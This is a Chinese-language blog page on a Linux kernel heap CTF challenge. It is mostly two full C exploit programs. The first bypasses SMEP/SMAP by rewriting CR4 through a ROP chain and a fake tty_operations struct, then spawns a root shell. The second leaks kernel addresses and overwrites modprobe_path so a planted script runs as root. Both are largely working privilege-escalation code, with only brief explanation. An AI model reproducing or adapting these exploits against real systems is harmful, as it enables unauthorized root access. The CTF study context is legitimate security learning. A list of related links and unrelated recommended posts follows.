kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。

smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h> size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0}; int fd; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
} void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
save_status(); char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0}; fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2); show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr); int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
} show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0; int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; add(2, 0x100, (char *)rop); fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret; fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr; ((size_t *)buf)[3] = heap_addr + 0x100; delete(3);
add(3, 0x100, (char *)fake_tty_operations); edit(1, 0x400, -0x400, buf); write(fd_tty, "FXC", 3);
return 0;
}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h> int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh"); puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC"); system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag"); sleep(5);
} int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
} char buf[0x1000] = {0}; add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4 delete(1);
delete(3); show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base); show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960; memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf); add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6 show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base); delete(2);
delete(5); getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf); add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8 ((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf); strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf); get_flag();
return 0;
}

kernel heap bypass smep,smap && 劫持modprobe_path的更多相关文章

  1. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  2. How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038

    http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html ...

  3. ret2dir:Rethinking Kernel Isolation(翻译)

    前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的, ...

  4. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  5. Windows Kernel Security Training Courses

    http://www.codemachine.com/courses.html#kerdbg Windows Kernel Internals for Security Researchers Thi ...

  6. Microsoft Windows CE 5.0 Board Support Package, Boot Loader, and Kernel Startup Sequence

    Summary Learn about the initial, low-level startup sequence and the hardware platform functions that ...

  7. Windows漏洞利用与防护(2015.8)

    Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...

  8. [转]Mac OS X local privilege escalation (IOBluetoothFamily)

    Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...

  9. linux提权辅助工具(一):linux-exploit-suggester.sh

    来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...

随机推荐

  1. lombok的使用。

    今天学习spring event,无意中看到lombok插件,以前也见同事用过,特此看了下用法.觉得还挺好用,记录下. 网上找到的一个比较术语化的解释:lombok是一个基于LGPL的开源J2EE综合 ...

  2. resin服务之一---安装及部署

    参考网站: http://caucho.com/ http://www.oschina.net/p/resin http://caucho.com/resin-4.0/admin/starting-r ...

  3. Python学习--21天Python基础学习之旅(Day03、Day04)

    关于缩进问题,缩进几个空格都不影响程序解释(不会报错什么的),但一般缩进四个空格是为了可读性和规范. Day03: Chapter 5 1.if语句 1.1条件测试:值为True或False的表达式成 ...

  4. 专家PID

    前面我们讨论了经典的数字PID控制算法及其常见的改进与补偿算法,基本已经覆盖了无模型和简单模型PID控制经典算法的大部.再接下来的我们将讨论智能PID控制,智能PID控制不同于常规意义下的智能控制,是 ...

  5. C#复杂XML反序列化为实体对象两种方式

    前言 今天主要讲的是如何把通过接口获取到的Xml数据转换成(反序列化)我们想要的实体对象,当然Xml反序列化和Json反序列化的方式基本上都是大同小异.都是我们事先定义好对应的对应的Xml实体模型,不 ...

  6. SQList基础+ListView基本使用

    今日所学: SQList基础语法 SDList下载地址 SQLite Download Page SQList安装教程SQLite的安装与基本操作 - 极客开发者-博客 ListView用法 没遇到什 ...

  7. Tomcat安装(安装版)

    安装Tomcat(安装版) 下载地址https://tomcat.apache.org/ 下载成功,双击进行安装(一路Next). 等待安装结束. 然后打开浏览器输入地址:http://localho ...

  8. 性能优化之html、css、js三者的加载顺序

    前言 我们知道一个页面通常由,html,css,js三部分组成,一般我们会把css文件放在head头部加载,而js文件则放在页面的最底部加载,想要知道为什么大家都会不约而同的按照这个标准进行构建页面, ...

  9. linux修改中文字符集

    //修改系统配置 cd /etc/profile //末尾加如下代码 export LC_ALL="zh_CN.GBK"export LANG="zh_CN.GBK&qu ...

  10. 如何满足一个前端对 Mock 的全部幻想

    ​ 前端的痛苦 作为前端,最痛苦的是什么时候? 每个迭代,需求文档跟设计稿都出来了,静态页面唰唰两天就做完了.可是做前端又不是简单地把后端吐出来的数据放到页面上就完了,还有各种前端处理逻辑啊. 后端接 ...